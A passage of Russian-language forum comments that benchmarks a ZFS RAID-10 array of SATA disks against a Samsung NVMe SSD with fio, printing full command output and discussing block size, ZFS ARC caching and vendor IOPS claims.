запустить все потоки. С 1М блоком, тест внезапно становится более последовательный чем случайный.</p><p>На домашней системе RAID-10 на 6 SATA дисках (ZFS), против Samsung EVO 980 Pro 1TB. Смотрим разницу для размера блока:</p><p>ZFS-RAID10(compression lz4):</p><details class=\"spoiler\"><summary>fio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=128k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75</summary><div class=\"spoiler__content\"><p> iops-test-job: (g=0): rw=randrw, bs=(R) 128KiB-128KiB, (W) 128KiB-128KiB, (T) 128KiB-128KiB, ioengine=sync, iodepth=8<br/> ...<br/> fio-3.27<br/> Starting 8 processes<br/> Jobs: 8 (f=8): [m(8)][26.7%][r=1538MiB/s,w=505MiB/s][r=12.3k,w=4040 IOPS][eta 00m:11s]<br/> Jobs: 8 (f=8): [m(8)][27.3%][r=782MiB/s,w=269MiB/s][r=6254,w=2152 IOPS][eta 00m:16s]<br/> Jobs: 8 (f=8): [m(8)][28.6%][r=800MiB/s,w=264MiB/s][r=6397,w=2111 IOPS][eta 00m:20s]<br/> Jobs: 8 (f=8): [m(8)][30.3%][r=737MiB/s,w=261MiB/s][r=5892,w=2084 IOPS][eta 00m:23s]<br/> Jobs: 8 (f=8): [m(8)][32.4%][r=791MiB/s,w=258MiB/s][r=6328,w=2061 IOPS][eta 00m:25s]<br/> Jobs: 8 (f=8): [m(8)][35.0%][r=733MiB/s,w=243MiB/s][r=5863,w=1947 IOPS][eta 00m:26s]<br/> Jobs: 8 (f=8): [m(8)][37.2%][r=896MiB/s,w=305MiB/s][r=7165,w=2443 IOPS][eta 00m:27s]<br/> Jobs: 8 (f=8): [m(8)][40.0%][r=918MiB/s,w=307MiB/s][r=7341,w=2459 IOPS][eta 00m:27s]<br/> Jobs: 8 (f=8): [m(8)][42.6%][r=602MiB/s,w=195MiB/s][r=4819,w=1560 IOPS][eta 00m:27s]<br/> Jobs: 8 (f=8): [m(8)][44.9%][r=793MiB/s,w=269MiB/s][r=6343,w=2149 IOPS][eta 00m:27s]<br/> Jobs: 8 (f=8): [m(8)][47.1%][r=821MiB/s,w=270MiB/s][r=6564,w=2163 IOPS][eta 00m:27s]<br/> Jobs: 8 (f=8): [m(8)][50.0%][r=849MiB/s,w=292MiB/s][r=6791,w=2339 IOPS][eta 00m:26s]<br/> Jobs: 8 (f=8): [m(8)][52.8%][r=926MiB/s,w=319MiB/s][r=7405,w=2552 IOPS][eta 00m:25s]<br/> Jobs: 8 (f=8): [m(8)][55.6%][r=976MiB/s,w=325MiB/s][r=7808,w=2599 IOPS][eta 00m:24s]<br/> Jobs: 8 (f=8): [m(8)][58.2%][r=899MiB/s,w=300MiB/s][r=7188,w=2403 IOPS][eta 00m:23s]<br/> Jobs: 8 (f=8): [m(8)][60.7%][r=531MiB/s,w=174MiB/s][r=4250,w=1394 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][62.1%][r=594MiB/s,w=203MiB/s][r=4753,w=1622 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][64.4%][r=677MiB/s,w=224MiB/s][r=5419,w=1792 IOPS][eta 00m:21s]<br/> Jobs: 8 (f=8): [m(8)][66.7%][r=729MiB/s,w=230MiB/s][r=5831,w=1841 IOPS][eta 00m:20s]<br/> Jobs: 8 (f=8): [m(8)][68.9%][r=687MiB/s,w=243MiB/s][r=5493,w=1942 IOPS][eta 00m:19s]<br/> Jobs: 8 (f=8): [m(8)][71.0%][r=801MiB/s,w=273MiB/s][r=6406,w=2183 IOPS][eta 00m:18s]<br/> Jobs: 8 (f=8): [m(8)][74.2%][r=898MiB/s,w=297MiB/s][r=7185,w=2375 IOPS][eta 00m:16s]<br/> Jobs: 8 (f=8): [m(8)][77.4%][r=818MiB/s,w=269MiB/s][r=6546,w=2153 IOPS][eta 00m:14s]<br/> Jobs: 8 (f=8): [m(8)][79.4%][r=675MiB/s,w=222MiB/s][r=5401,w=1773 IOPS][eta 00m:13s]<br/> Jobs: 8 (f=8): [m(8)][81.2%][r=702MiB/s,w=232MiB/s][r=5619,w=1854 IOPS][eta 00m:12s]<br/> Jobs: 8 (f=8): [m(8)][83.1%][r=683MiB/s,w=235MiB/s][r=5463,w=1882 IOPS][eta 00m:11s]<br/> Jobs: 8 (f=8): [m(8)][86.2%][r=808MiB/s,w=270MiB/s][r=6466,w=2162 IOPS][eta 00m:09s]<br/> Jobs: 8 (f=8): [m(8)][89.2%][r=770MiB/s,w=252MiB/s][r=6160,w=2014 IOPS][eta 00m:07s]<br/> Jobs: 8 (f=8): [m(8)][90.9%][r=805MiB/s,w=272MiB/s][r=6436,w=2174 IOPS][eta 00m:06s]<br/> Jobs: 8 (f=8): [m(8)][93.9%][r=838MiB/s,w=284MiB/s][r=6701,w=2271 IOPS][eta 00m:04s]<br/> Jobs: 8 (f=8): [m(8)][97.0%][r=1017MiB/s,w=335MiB/s][r=8137,w=2680 IOPS][eta 00m:02s]<br/> Jobs: 1 (f=1): [<em>(3),m(1),</em>(4)][100.0%][r=817MiB/s,w=257MiB/s][r=6539,w=2053 IOPS][eta 00m:00s]<br/> iops-test-job: (groupid=0, jobs=8): err= 0: pid=22448: Wed Dec 29 17:28:47 2021<br/> read: IOPS=7681, BW=960MiB/s (1007MB/s)(60.0GiB/63986msec)<br/> clat (usec): min=3, max=31324, avg=23.72, stdev=158.94<br/> lat (usec): min=3, max=31324, avg=23.76, stdev=158.94<br/> clat percentiles (usec):<br/> | 1.00th=[ 7], 5.00th=[ 7], 10.00th=[ 8], 20.00th=[ 14],<br/> | 30.00th=[ 15], 40.00th=[ 16], 50.00th=[ 16], 60.00th=[ 17],<br/> | 70.00th=[ 17], 80.00th=[ 19], 90.00th=[ 38], 95.00th=[ 67],<br/> | 99.00th=[ 105], 99.50th=[ 119], 99.90th=[ 635], 99.95th=[ 1745],<br/> | 99.99th=[ 7373]<br/> bw ( KiB/s): min=484096, max=10253199, per=100.00%, avg=984672.14, stdev=141259.34, samples=1010<br/> iops : min= 3782, max=80100, avg=7692.66, stdev=1103.55, samples=1010<br/> write: IOPS=2560, BW=320MiB/s (336MB/s)(20.0GiB/63986msec); 0 zone resets<br/> clat (usec): min=12, max=38277, avg=3025.59, stdev=1507.55<br/> lat (usec): min=12, max=38278, avg=3026.06, stdev=1507.34<br/> clat percentiles (usec):<br/> | 1.00th=[ 20], 5.00th=[ 36], 10.00th=[ 61], 20.00th=[ 1663],<br/> | 30.00th=[ 3064], 40.00th=[ 3261], 50.00th=[ 3458], 60.00th=[ 3654],<br/> | 70.00th=[ 3818], 80.00th=[ 4015], 90.00th=[ 4490], 95.00th=[ 4883],<br/> | 99.00th=[ 5473], 99.50th=[ 5735], 99.90th=[ 6128], 99.95th=[ 6390],<br/> | 99.99th=[ 6915]<br/> bw ( KiB/s): min=174848, max=3511655, per=100.00%, avg=328313.31, stdev=47484.87, samples=1010<br/> iops : min= 1366, max=27431, avg=2564.87, stdev=370.94, samples=1010<br/> lat (usec) : 4=0.01%, 10=14.41%, 20=48.19%, 50=8.27%, 100=6.59%<br/> lat (usec) : 250=1.13%, 500=0.19%, 750=0.23%, 1000=0.20%<br/> lat (msec) : 2=1.13%, 4=14.33%, 10=5.33%, 20=0.01%, 50=0.01%<br/> cpu : usr=0.14%, sys=2.60%, ctx=149825, majf=0, minf=137<br/> IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%<br/> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> issued rwts: total=491539,163821,0,0 short=0,0,0,0 dropped=0,0,0,0<br/> latency : target=0, window=0, percentile=100.00%, depth=8</p><p>Run status group 0 (all jobs):<br/> READ: bw=960MiB/s (1007MB/s), 960MiB/s-960MiB/s (1007MB/s-1007MB/s), io=60.0GiB (64.4GB), run=63986-63986msec<br/> WRITE: bw=320MiB/s (336MB/s), 320MiB/s-320MiB/s (336MB/s-336MB/s), io=20.0GiB (21.5GB), run=63986-63986msec</p></div></details><details class=\"spoiler\"><summary>fio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=256k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75 </summary><div class=\"spoiler__content\"><p><br/> iops-test-job: (g=0): rw=randrw, bs=(R) 256KiB-256KiB, (W) 256KiB-256KiB, (T) 256KiB-256KiB, ioengine=sync, iodepth=8...<br/> fio-3.27<br/> Starting 8 processes<br/> Jobs: 8 (f=8): [m(8)][25.0%][r=1495MiB/s,w=514MiB/s][r=5981,w=2056 IOPS][eta 00m:12s]<br/> Jobs: 8 (f=8): [m(8)][26.1%][r=769MiB/s,w=253MiB/s][r=3075,w=1013 IOPS][eta 00m:17s]<br/> Jobs: 8 (f=8): [m(8)][28.6%][r=1011MiB/s,w=326MiB/s][r=4045,w=1302 IOPS][eta 00m:20s]<br/> Jobs: 8 (f=8): [m(8)][32.3%][r=1133MiB/s,w=373MiB/s][r=4530,w=1491 IOPS][eta 00m:21s]<br/> Jobs: 8 (f=8): [m(8)][35.3%][r=1115MiB/s,w=366MiB/s][r=4460,w=1464 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][38.9%][r=1304MiB/s,w=425MiB/s][r=5214,w=1700 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][42.1%][r=853MiB/s,w=286MiB/s][r=3410,w=1144 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][45.0%][r=781MiB/s,w=268MiB/s][r=3124,w=1070 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][47.6%][r=874MiB/s,w=290MiB/s][r=3494,w=1160 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][50.0%][r=960MiB/s,w=346MiB/s][r=3840,w=1383 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][53.3%][r=933MiB/s,w=313MiB/s][r=3733,w=1252 IOPS][eta 00m:21s]<br/> Jobs: 8 (f=8): [m(8)][56.5%][r=1110MiB/s,w=358MiB/s][r=4441,w=1432 IOPS][eta 00m:20s]<br/> Jobs: 8 (f=8): [m(8)][60.9%][r=1056MiB/s,w=364MiB/s][r=4224,w=1454 IOPS][eta 00m:18s]<br/> Jobs: 8 (f=8): [m(8)][63.8%][r=943MiB/s,w=301MiB/s][r=3771,w=1204 IOPS][eta 00m:17s]<br/> Jobs: 8 (f=8): [m(8)][66.7%][r=1074MiB/s,w=349MiB/s][r=4294,w=1395 IOPS][eta 00m:16s]<br/> Jobs: 8 (f=8): [m(8)][69.4%][r=984MiB/s,w=331MiB/s][r=3937,w=1322 IOPS][eta 00m:15s]<br/> Jobs: 8 (f=8): [m(8)][72.0%][r=851MiB/s,w=287MiB/s][r=3402,w=1149 IOPS][eta 00m:14s]<br/> Jobs: 8 (f=8): [m(8)][76.0%][r=920MiB/s,w=321MiB/s][r=3679,w=1284 IOPS][eta 00m:12s]<br/> Jobs: 8 (f=8): [m(8)][78.4%][r=1050MiB/s,w=328MiB/s][r=4198,w=1313 IOPS][eta 00m:11s]<br/> Jobs: 8 (f=8): [m(8)][80.8%][r=570MiB/s,w=196MiB/s][r=2280,w=783 IOPS][eta 00m:10s]<br/> Jobs: 8 (f=8): [m(8)][83.0%][r=784MiB/s,w=263MiB/s][r=3135,w=1052 IOPS][eta 00m:09s]<br/> Jobs: 8 (f=8): [m(8)][86.8%][r=919MiB/s,w=318MiB/s][r=3676,w=1271 IOPS][eta 00m:07s]<br/> Jobs: 8 (f=8): [m(8)][88.9%][r=884MiB/s,w=291MiB/s][r=3535,w=1165 IOPS][eta 00m:06s]<br/> Jobs: 8 (f=8): [m(8)][92.6%][r=1031MiB/s,w=325MiB/s][r=4124,w=1300 IOPS][eta 00m:04s]<br/> Jobs: 8 (f=8): [m(8)][94.5%][r=1090MiB/s,w=372MiB/s][r=4361,w=1489 IOPS][eta 00m:03s]<br/> Jobs: 7 (f=7): [m(6),<em>(1),m(1)][98.2%][r=803MiB/s,w=290MiB/s][r=3213,w=1159 IOPS][eta 00m:01s] Jobs: 2 (f=2): [m(1),</em>(2),m(1),_(4)][100.0%][r=670MiB/s,w=224MiB/s][r=2680,w=894 IOPS][eta 00m:00s]<br/> iops-test-job: (groupid=0, jobs=8): err= 0: pid=12791: Wed Dec 29 17:27:10 2021<br/> read: IOPS=4544, BW=1136MiB/s (1191MB/s)(59.9GiB/54009msec)<br/> clat (usec): min=6, max=37703, avg=46.85, stdev=211.13<br/> lat (usec): min=6, max=37703, avg=46.91, stdev=211.13<br/> clat percentiles (usec):<br/> | 1.00th=[ 13], 5.00th=[ 14], 10.00th=[ 14], 20.00th=[ 27],<br/> | 30.00th=[ 30], 40.00th=[ 31], 50.00th=[ 32], 60.00th=[ 33],<br/> | 70.00th=[ 34], 80.00th=[ 38], 90.00th=[ 77], 95.00th=[ 137],<br/> | 99.00th=[ 221], 99.50th=[ 255], 99.90th=[ 1582], 99.95th=[ 3163],<br/> | 99.99th=[ 9241]<br/> bw ( MiB/s): min= 494, max= 9652, per=100.00%, avg=1144.48, stdev=144.33, samples=852<br/> iops : min= 1978, max=38607, avg=4577.88, stdev=577.29, samples=852<br/> write: IOPS=1522, BW=381MiB/s (399MB/s)(20.1GiB/54009msec); 0 zone resets<br/> clat (usec): min=20, max=27805, avg=5063.57, stdev=2444.92<br/> lat (usec): min=21, max=27807, avg=5064.76, stdev=2444.10<br/> clat percentiles (usec):<br/> | 1.00th=[ 42], 5.00th=[ 85], 10.00th=[ 125], 20.00th=[ 3589],<br/> | 30.00th=[ 5080], 40.00th=[ 5407], 50.00th=[ 5669], 60.00th=[ 5997],<br/> | 70.00th=[ 6390], 80.00th=[ 6718], 90.00th=[ 7373], 95.00th=[ 7898],<br/> | 99.00th=[ 9372], 99.50th=[10552], 99.90th=[11469], 99.95th=[11600],<br/> | 99.99th=[12518]<br/> bw ( KiB/s): min=184832, max=3352134, per=100.00%, avg=392700.39, stdev=50158.90, samples=852<br/> iops : min= 722, max=13093, avg=1533.96, stdev=195.91, samples=852<br/> lat (usec) : 10=0.01%, 20=13.73%, 50=51.47%, 100=5.20%, 250=7.47%<br/> lat (usec) : 500=0.41%, 750=0.13%, 1000=0.11%<br/> lat (msec) : 2=0.50%, 4=1.14%, 10=19.63%, 20=0.19%, 50=0.01%<br/> cpu : usr=0.12%, sys=3.07%, ctx=151268, majf=0, minf=133<br/> IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%<br/> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> issued rwts: total=245434,82246,0,0 short=0,0,0,0 dropped=0,0,0,0<br/> latency : target=0, window=0, percentile=100.00%, depth=8</p><p>Run status group 0 (all jobs):<br/> READ: bw=1136MiB/s (1191MB/s), 1136MiB/s-1136MiB/s (1191MB/s-1191MB/s), io=59.9GiB (64.3GB), run=54009-54009msec<br/> WRITE: bw=381MiB/s (399MB/s), 381MiB/s-381MiB/s (399MB/s-399MB/s), io=20.1GiB (21.6GB), run=54009-54009msec</p></div></details><p>А теперь внимание 4к блок:</p><details class=\"spoiler\"><summary>fio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=4k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75</summary><div class=\"spoiler__content\"><p>iops-test-job: (g=0): rw=randrw, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=sync, iodepth=8<br/> ...<br/> fio-3.27<br/> Starting 8 processes<br/> Jobs: 8 (f=8): [m(8)][0.9%][r=46.0MiB/s,w=15.5MiB/s][r=11.8k,w=3956 IOPS][eta 07m:41s]<br/> Jobs: 8 (f=8): [m(8)][0.9%][r=26.9MiB/s,w=9784KiB/s][r=6877,w=2446 IOPS][eta 11m:09s]<br/> Jobs: 8 (f=8): [m(8)][1.0%][r=31.5MiB/s,w=10.6MiB/s][r=8060,w=2703 IOPS][eta 13m:49s]<br/> Jobs: 8 (f=8): [m(8)][1.0%][r=28.4MiB/s,w=9480KiB/s][r=7269,w=2370 IOPS][eta 15m:57s]<br/> Jobs: 8 (f=8): [m(8)][1.1%][r=28.9MiB/s,w=9780KiB/s][r=7388,w=2445 IOPS][eta 17m:43s]<br/> Jobs: 8 (f=8): [m(8)][1.2%][r=31.9MiB/s,w=10.9MiB/s][r=8166,w=2780 IOPS][eta 19m:01s]</p><p>......<br/> Jobs: 8 (f=8): [m(8)][98.8%][r=26.5MiB/s,w=9120KiB/s][r=6779,w=2280 IOPS][eta 00m:30s]<br/> Jobs: 8 (f=8): [m(8)][98.9%][r=23.3MiB/s,w=7696KiB/s][r=5964,w=1924 IOPS][eta 00m:28s]<br/> Jobs: 8 (f=8): [m(8)][99.0%][r=24.1MiB/s,w=8760KiB/s][r=6170,w=2190 IOPS][eta 00m:26s]<br/> Jobs: 8 (f=8): [m(8)][99.1%][r=26.3MiB/s,w=8936KiB/s][r=6725,w=2234 IOPS][eta 00m:24s]<br/> Jobs: 8 (f=8): [m(8)][99.1%][r=28.9MiB/s,w=9704KiB/s][r=7400,w=2426 IOPS][eta 00m:22s]<br/> Jobs: 8 (f=8): [m(8)][99.3%][r=30.8MiB/s,w=10.3MiB/s][r=7895,w=2627 IOPS][eta 00m:19s]<br/> Jobs: 8 (f=8): [m(8)][99.4%][r=34.2MiB/s,w=11.6MiB/s][r=8745,w=2979 IOPS][eta 00m:16s]<br/> Jobs: 8 (f=8): [m(8)][99.5%][r=36.7MiB/s,w=12.2MiB/s][r=9396,w=3132 IOPS][eta 00m:13s]<br/> Jobs: 8 (f=8): [m(8)][99.6%][r=23.4MiB/s,w=7704KiB/s][r=5986,w=1926 IOPS][eta 00m:11s]<br/> Jobs: 8 (f=8): [m(8)][99.7%][r=29.0MiB/s,w=9.96MiB/s][r=7412,w=2550 IOPS][eta 00m:09s]<br/> Jobs: 8 (f=8): [m(8)][99.8%][r=30.1MiB/s,w=9872KiB/s][r=7709,w=2468 IOPS][eta 00m:06s]<br/> Jobs: 8 (f=8): [m(8)][99.8%][r=25.1MiB/s,w=8844KiB/s][r=6427,w=2211 IOPS][eta 00m:04s]<br/> Jobs: 3 (f=3): [m(2),_(5),m(1)][100.0%][r=34.5MiB/s,w=10.9MiB/s][r=8827,w=2782 IOPS][eta 00m:00s]<br/> iops-test-job: (groupid=0, jobs=8): err= 0: pid=24292: Wed Dec 29 18:21:34 2021<br/> read: IOPS=6113, BW=23.9MiB/s (25.0MB/s)(60.0GiB/2572268msec)<br/> clat (nsec): min=740, max=53590k, avg=10697.23, stdev=33246.32<br/> lat (nsec): min=760, max=53590k, avg=10742.76, stdev=33246.96<br/> clat percentiles (nsec):<br/> | 1.00th=[ 1464], 5.00th=[ 1608], 10.00th=[ 1704], 20.00th=[ 1992],<br/> | 30.00th=[ 11584], 40.00th=[ 12608], 50.00th=[ 12992], 60.00th=[ 13376],<br/> | 70.00th=[ 13760], 80.00th=[ 14144], 90.00th=[ 15040], 95.00th=[ 15936],<br/> | 99.00th=[ 20352], 99.50th=[ 24192], 99.90th=[ 79360], 99.95th=[ 95744],<br/> | 99.99th=[123392]<br/> bw ( KiB/s): min= 9304, max=314495, per=100.00%, avg=24455.63, stdev=938.24, samples=41127<br/> iops : min= 2326, max=78621, avg=6113.84, stdev=234.56, samples=41127<br/> write: IOPS=2038, BW=8156KiB/s (8352kB/s)(20.0GiB/2572268msec); 0 zone resets<br/> clat (usec): min=3, max=36815, avg=3888.22, stdev=786.33<br/> lat (usec): min=3, max=36815, avg=3888.30, stdev=786.33<br/> clat percentiles (usec):<br/> | 1.00th=[ 2409], 5.00th=[ 2835], 10.00th=[ 3032], 20.00th=[ 3261],<br/> | 30.00th=[ 3458], 40.00th=[ 3654], 50.00th=[ 3851], 60.00th=[ 4015],<br/> | 70.00th=[ 4228], 80.00th=[ 4424], 90.00th=[ 4817], 95.00th=[ 5211],<br/> | 99.00th=[ 6063], 99.50th=[ 6325], 99.90th=[ 7373], 99.95th=[ 7701],<br/> | 99.99th=[ 8455]<br/> bw ( KiB/s): min= 3864, max=106361, per=99.99%, avg=8155.80, stdev=296.32, samples=41127<br/> iops : min= 966, max=26589, avg=2038.88, stdev=74.08, samples=41127<br/> lat (nsec) : 750=0.01%, 1000=0.04%<br/> lat (usec) : 2=15.02%, 4=5.93%, 10=0.13%, 20=53.06%, 50=0.68%<br/> lat (usec) : 100=0.19%, 250=0.05%, 500=0.01%, 750=0.01%, 1000=0.01%<br/> lat (msec) : 2=0.04%, 4=14.49%, 10=10.35%, 20=0.01%, 50=0.01%<br/> lat (msec) : 100=0.01%<br/> cpu : usr=0.08%, sys=1.21%, ctx=5246713, majf=0, minf=146<br/> IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%<br/> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> issued rwts: total=15726772,5244748,0,0 short=0,0,0,0 dropped=0,0,0,0<br/> latency : target=0, window=0, percentile=100.00%, depth=8</p><p>Run status group 0 (all jobs):<br/> READ: bw=23.9MiB/s (25.0MB/s), 23.9MiB/s-23.9MiB/s (25.0MB/s-25.0MB/s), io=60.0GiB (64.4GB), run=2572268-2572268msec<br/> WRITE: bw=8156KiB/s (8352kB/s), 8156KiB/s-8156KiB/s (8352kB/s-8352kB/s), io=20.0GiB (21.5GB), run=2572268-2572268msec</p></div></details><p>Удручающая картина, не правда ли? А теперь внимание, то-же самое для NVME</p><details class=\"spoiler\"><summary>NVME> fio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=4k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75</summary><div class=\"spoiler__content\"><p>iops-test-job: (g=0): rw=randrw, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=sync, iodepth=8<br/> ...<br/> fio-3.27<br/> Starting 8 processes<br/> iops-test-job: Laying out IO file (1 file / 10240MiB)<br/> Jobs: 8 (f=8): [m(8)][4.1%][r=657MiB/s,w=217MiB/s][r=168k,w=55.7k IOPS][eta 01m:33s]<br/> ........</p><p> Jobs: 8 (f=8): [m(8)][96.8%][r=657MiB/s,w=220MiB/s][r=168k,w=56.3k IOPS][eta 00m:03s]<br/> Jobs: 8 (f=8): [m(8)][98.9%][r=657MiB/s,w=217MiB/s][r=168k,w=55.6k IOPS][eta 00m:01s]<br/> Jobs: 8 (f=8): [m(8)][100.0%][r=653MiB/s,w=219MiB/s][r=167k,w=56.0k IOPS][eta 00m:00s]<br/> iops-test-job: (groupid=0, jobs=8): err= 0: pid=22788: Wed Dec 29 19:02:39 2021<br/> read: IOPS=167k, BW=654MiB/s (685MB/s)(60.0GiB/93995msec)<br/> clat (usec): min=17, max=8563, avg=43.77, stdev=30.11<br/> lat (usec): min=17, max=8564, avg=43.80, stdev=30.11<br/> clat percentiles (usec):<br/> | 1.00th=[ 38], 5.00th=[ 38], 10.00th=[ 38], 20.00th=[ 39],<br/> | 30.00th=[ 40], 40.00th=[ 40], 50.00th=[ 40], 60.00th=[ 41],<br/> | 70.00th=[ 41], 80.00th=[ 43], 90.00th=[ 49], 95.00th=[ 63],<br/> | 99.00th=[ 135], 99.50th=[ 157], 99.90th=[ 176], 99.95th=[ 184],<br/> | 99.99th=[ 297]<br/> bw ( KiB/s): min=635320, max=681120, per=100.00%, avg=669528.73, stdev=1143.75, samples=1496<br/> iops : min=158830, max=170280, avg=167382.17, stdev=285.94, samples=1496<br/> write: IOPS=55.8k, BW=218MiB/s (229MB/s)(20.0GiB/93995msec); 0 zone resets<br/> clat (usec): min=9, max=8514, avg=10.45, stdev= 5.40<br/> lat (usec): min=9, max=8515, avg=10.50, stdev= 5.40<br/> clat percentiles (nsec):<br/> | 1.00th=[ 9664], 5.00th=[ 9792], 10.00th=[ 9792], 20.00th=[ 9920],<br/> | 30.00th=[ 9920], 40.00th=[10048], 50.00th=[10176], 60.00th=[10304],<br/> | 70.00th=[10560], 80.00th=[10944], 90.00th=[11456], 95.00th=[11968],<br/> | 99.00th=[13504], 99.50th=[14272], 99.90th=[15808], 99.95th=[16768],<br/> | 99.99th=[19584]<br/> bw ( KiB/s): min=207440, max=235672, per=100.00%, avg=223287.40, stdev=627.87, samples=1496<br/> iops : min=51860, max=58918, avg=55821.85, stdev=156.97, samples=1496<br/> lat (usec) : 10=8.24%, 20=16.77%, 50=67.79%, 100=5.81%, 250=1.38%<br/> lat (usec) : 500=0.01%, 750=0.01%, 1000=0.01%<br/> lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%<br/> cpu : usr=1.70%, sys=4.07%, ctx=20977179, majf=0, minf=126<br/> IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%<br/> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%<br/> issued rwts: total=15726772,5244748,0,0 short=0,0,0,0 dropped=0,0,0,0<br/> latency : target=0, window=0, percentile=100.00%, depth=8</p><p>Run status group 0 (all jobs):<br/> READ: bw=654MiB/s (685MB/s), 654MiB/s-654MiB/s (685MB/s-685MB/s), io=60.0GiB (64.4GB), run=93995-93995msec<br/> WRITE: bw=218MiB/s (229MB/s), 218MiB/s-218MiB/s (229MB/s-229MB/s), io=20.0GiB (21.5GB), run=93995-93995msec</p><p>Disk stats (read/write):<br/> nvme0n1: ios=15717227/5241742, merge=0/2, ticks=667570/47502, in_queue=715089, util=99.91%</p></div></details><p>NVME выдаёт 220к 4к IOPS в сумме (r+w). При этом Samsung заявляет о 1М IOPS.Видимо не 4К IOPS.</p><p>В общем врут. Вернее \"грамотно преподносят информацию\".</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Тот же супермикро вполне себе заявляет поддержку в однопроцессорной системе без доп ограничений. Даже для двухпроцессорных систем поддержка есть, но в определенных условиях.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Тесты ZFS могут не говорить о реальной призводительности если неизвестно сколько памяти получил ARC — ZFS очень агрессивен в кэшировании (direct i/o игнорирует), так что если памяти у вас достаточно (32GB или больше) вы меряете производительность самой файловой системы, а не накопителя. Поставьте ограничение на ARC чтобы файл в него точно не влезал, и добавьте <code>--fsync=1</code> к <code>fio</code> (убедившись что в ZFS не стоит <code>sync=disabled</code>) — тогда тест будет более реалистичным.</p><br/>\r\n<p>С блоками по 4k ситуация очень плохая за счёт организации самого ZFS (дерево, контрольные суммы и вот это всё) — сделайте ramdisk и померяйте, результаты тоже будут не впечатляющими, хотя конечно лучше чем с диском (любым).</p><br/>\r\n<blockquote>NVME выдаёт 220к 4к IOPS в сумме (r+w). При этом Samsung заявляет о 1М IOPS.Видимо не 4К IOPS.</blockquote><p>Потому что они указывают данные не для микса, а отдельно для чтения и записи — на только чтении или записи вы вероятно можете получить почти близко к 1M iops при QD > 32 а то и 128, правда, в <del>вакууме</del> идеальных условиях — т.е. тестируете его в монопольном режиме, причём заточенным под максимум производительности тулом. Вообще странно было бы ожидать от производителя гарантии iops не зная где и как будет использоваться накопитель, может его вообще по USB подключат, поэтому они указывают возможности железа (NVMe + PCIe), а вытянет ли их ваш конкретный сетап — это уже вопрос.</p><br/>\r\n<p>Теперь вернёмся к NVMe на Hetzner. Я провел тот же тест с файлом в 20G, с блоками по 1M и 4k, всё длительностью 1 минута — думаю это уж точно в кэш не влезло (разве что в SLC на самом накопителе):</p><br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\">fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\">Jobs: 6 (f=6): [m(6)][20.0%][r=2672MiB/s,w=2636MiB/s][r=2672,w=2636 IOPS][eta 00m:48s]\nJobs: 6 (f=6): [m(6)][38.3%][r=2862MiB/s,w=2910MiB/s][r=2862,w=2910 IOPS][eta 00m:37s]\nJobs: 6 (f=6): [m(6)][56.7%][r=2854MiB/s,w=2893MiB/s][r=2854,w=2893 IOPS][eta 00m:26s]\nJobs: 6 (f=6): [m(6)][75.0%][r=2758MiB/s,w=2820MiB/s][r=2757,w=2819 IOPS][eta 00m:15s]\nJobs: 6 (f=6): [m(6)][93.3%][r=2850MiB/s,w=2865MiB/s][r=2850,w=2865 IOPS][eta 00m:04s]\nJobs: 6 (f=6): 